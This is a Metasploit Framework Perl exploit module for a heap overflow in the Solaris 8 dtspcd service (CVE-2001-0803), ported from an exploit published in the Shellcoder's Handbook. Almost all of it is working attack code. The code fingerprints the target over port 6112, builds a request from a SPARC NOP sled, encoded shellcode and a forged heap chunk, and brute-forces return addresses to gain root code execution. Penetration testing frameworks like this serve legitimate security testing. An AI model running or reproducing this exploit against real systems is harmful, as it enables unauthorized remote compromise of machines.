
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::solaris_dtspcd_noir;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
	'Name'  => 'Solaris dtspcd Heap Overflow', 
	'Version'  => '$Revision: 1.10 $',
	'Authors' => [	'noir <noir [at] uberhax0r.net>',
					'H D Moore <hdm [at] metasploit.com>' ],
	'Arch'  => [ 'sparc' ],
	'OS'    => [ 'solaris' ],
	'Priv'  => 1,
	'UserOpts'  => {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The telnet server port', 6112],
            	   },
	'Payload' => {
		'Space'		=> 800,
		'BadChars'	=> "\x00\x0d",
		'PrependEncoder' => (pack('N', 0xa41c4011) x 3),
	},

	'Description'  => Pex::Text::Freeform(qq{
	This is a port of noir's dtspcd exploit. This module should work against
        any vulnerable version of Solaris 8 (sparc). The original exploit code
        was published in the book Shellcoder's Handbook.
	}),
	'Refs'  =>  [  
		['CVE', '2001-0803'],
		['URL', 'http://www.cert.org/advisories/CA-2002-01.html'],
		['URL', 'http://media.wiley.com/product_ancillary/83/07645446/DOWNLOAD/Source_Files.zip'],
            	],
	'Targets' =>
	[
		['Solaris8', 0xff3b0000, 0x2c000, 0x2f000, 0x400, [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ] ],
	],
	'Keys'  => ['dtspcd'],    
};

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');

	if(! $self->get_uname) {
		$self->PrintLine("[*] No response from the dtlogin service");
		return $self->CheckCode('Safe');
	}
	
	# XXX - probe service for crash
	return $self->CheckCode('Detected');
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');

	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target_idx  = $self->GetVar('TARGET');
	my $target      = $self->Targets->[ $target_idx ];

	if(! $self->get_uname) {
		$self->PrintLine("[*] No response from the dtlogin service");
		return;
	}

	my ($res, $req);
    
	for my $tjmp ( @{ $target->[5] } ) {
		for (my $rbase  = $target->[2]; $rbase < $target->[3]; $rbase += $target->[4] ) {
			$self->PrintLine("[*] Trying ".sprintf("0x%.8x 0x%.8x", $target->[1] + $tjmp, $rbase));	
			return if ! $self->attack($target->[1] + $tjmp, $rbase, $shellcode);
			return if ! $self->attack($target->[1] + $tjmp, $rbase + 4, $shellcode);
		}
	}
}

sub spc_setup {
	my $self = shift;
	my $s = Msf::Socket::Tcp->new
	(
		'PeerAddr'  => $self->GetVar('RHOST'), 
		'PeerPort'  => $self->GetVar('RPORT'), 
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	);

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}
	
	$self->{'SOC'} = $s;
	return $s;
}

sub spc_register {
	my ($self, $user, $buff) = @_;
	return "4 "."\x00".$user."\x00\x00"."10"."\x00".$buff;
}

sub spc_write {
	my ($self, $buff, $cmd) = @_;
	my $req = sprintf("%08x%02x%04x%04x  %s", 2, $cmd, length($buff), ++$self->{'SEQ'}, $buff);
	return if ! $self->{'SOC'};
	return $self->{'SOC'}->Send($req);
}

sub spc_read {
	my $self = shift;
	return if ! $self->{'SOC'};
	my $buff = $self->{'SOC'}->Recv(20, 5);
	my $chan = hex(substr($buff, 0, 9));
	my $cmd  = hex(substr($buff, 9, 1));
	my $mbl  = hex(substr($buff, 10, 4));
	my $seq  = hex(substr($buff, 14, 4));
	$buff = $self->{'SOC'}->Recv($mbl, 5);
	return $buff;
}

sub get_uname {
	my $self = shift;
	return if ! $self->spc_setup;
	$self->spc_write($self->spc_register('root', "\x00"), 4);
	my $buff = $self->spc_read;
	my ($host, $os, $ver, $arch) = split(/:/, $buff);
	return if ! $host;
	
	$self->PrintLine("[*] Detected dtspcd running $os v$ver on $arch hardware");
	$self->spc_write("", 2);
}

sub get_chunk {
	my ($self, $retloc, $retadd) = @_;
	return 
	"\x12\x12\x12\x12" . pack('N', $retadd).
	"\x23\x23\x23\x23\xff\xff\xff\xff".
	"\x34\x34\x34\x34\x45\x45\x45\x45".
	"\x56\x56\x56\x56" . pack('N', $retloc - 8);
}

sub attack {
	my ($self, $retloc, $retadd, $fcode) = @_;
	return if ! $self->spc_setup;
			
	my $req = "\xa4\x1c\x40\x11\x20\xbf\xff\xff" x ((4096 - 8 - length($fcode)) / 8);
	$req .= $fcode .
			"\x00\x00\x10\x3e\x00\x00\x00\x14".
			"\x12\x12\x12\x12\xff\xff\xff\xff". 
			"\x00\x00\x0f\xf4".
			$self->get_chunk($retloc, $retadd);
			
	$req .= "A" x ((0x103e - 8) - length($req));

	$self->spc_write($self->spc_register("", $req), 4);
	my $res = $self->{'SOC'}->Recv(-1, 5);
	return 1;
}


1;
